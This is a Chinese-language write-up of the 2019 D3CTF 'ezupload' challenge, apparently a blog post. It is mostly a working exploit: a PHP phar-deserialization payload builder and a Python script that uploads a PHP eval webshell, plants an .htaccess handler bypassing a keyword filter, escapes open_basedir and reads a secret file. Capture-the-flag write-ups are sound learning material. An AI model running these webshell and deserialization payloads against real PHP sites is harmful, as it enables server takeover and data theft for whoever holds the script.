2019 D3CTF ezupload题解

0 前言

一个 PHP 反序列化的题目。虽然序列化的的利用链简单,但是还是踩了很多坑。

1 题解

  • 序列化脚本:serialize.php
<?php

class dir{
    public $userdir;
    public $url;
    public $filename;
}

$o = new dir();
$tmp = new dir(); 
$tmp->userdir = $argv[1]; // 需要扫描的目录
$o->userdir = $tmp;
$o->filename = $argv[2]; // 写入文件的目录

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('__HALT_COMPILER();'); // stub
$phar->setMetadata($o); // meta
$phar->addFromString('tmp.txt', ''); // file
$phar->stopBuffering();

echo 'data:text/plain;base64,'.shell_exec('base64 phar.phar');
  • exp.py
import os
from urllib.parse import quote
import requests
import re

url='http://b5ed8b22-1f82-42ce-a311-fbc0bda85341.node4.buuoj.cn:81/'

# 上传一句话
b64 = os.popen('php serialize.php ../ ""').read().strip()
r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'<?php eval($_GET[cmd])?>.txt',
        'url':b64
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print('[*](上传一句话文件):', r.text)
upload_dir = re.findall(r'your file in : (.+)', r.text)[0]
print(upload_dir)

# 读取上一级目录
b64 = os.popen('php serialize.php ../ 123').read().strip()
r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'phar.txt',
        'url':b64
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print('[*]:', r.text)

r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'',
        'url':f'phar://{upload_dir}/phar.txt'
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print('[*](读取上一级目录):', r.text)
dir_name = re.findall(r'\.\. (.+?)your', r.text)[0]
print(dir_name)

# 写文件
b64 = os.popen(f'php serialize.php {upload_dir} /var/www/html/{dir_name}/{upload_dir}/webshell').read().strip()
r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'phar.txt',
        'url':b64
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print(f'php serialize.php {upload_dir} /var/www/html/{dir_name}/{upload_dir}/slug01sh')
print('[*](上传一句话phar文件):', r.text)

r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'',
        'url':f'phar://{upload_dir}/phar.txt'
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print('[*]:', r.text)


# 6. 写入 htaccess
r = requests.post(
    url=url,
    data={
        'action':'upload',
        'filename':'.htaccess',
        'url':'data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0'
    },
    # proxies={
    #     'http':'http://127.0.0.1:8080'
    # }
)
print('[*]:', r.text)

# 6 测试是否写入成功
r = requests.get(
    url=url + f"{upload_dir}/webshell.txt?cmd=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));"
)
# print('[*]:', r.text)
print(r.url)
print(r.text)

将 php 文件和 Python 文件放入相同的目录下,然后执行 python3 exp.py 即可 getflag。

2 收获

2.1 .htaccess

题目中过滤了 type 关键字,导致常用的 .htaccess 无法使用。

AddType application/x-httpd-php .txt

解决办法:考虑修改为另一种写法

AddHandler php7-script .txt

当然很多绕过方法,都是类似的思想,根据一个具体的目标寻找代替物。

2.2 反序列化的工作路径

在这题中,首先利用了文件自带的 upload 功能来写入文件,程序的工作路径在代码所在的文件夹,所以 upload 时可以利用相对路径来写入文件。

但在后面需要利用 destruct 的 file_put_content 来写入文件,反序列化时程序的工作路径在根目录,所以无法直接使用相对路径来写入文件。

3 总结

在文件相关的函数中,相对路径和绝对路径都最好尝试一下,可能会有意想不到的收获。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值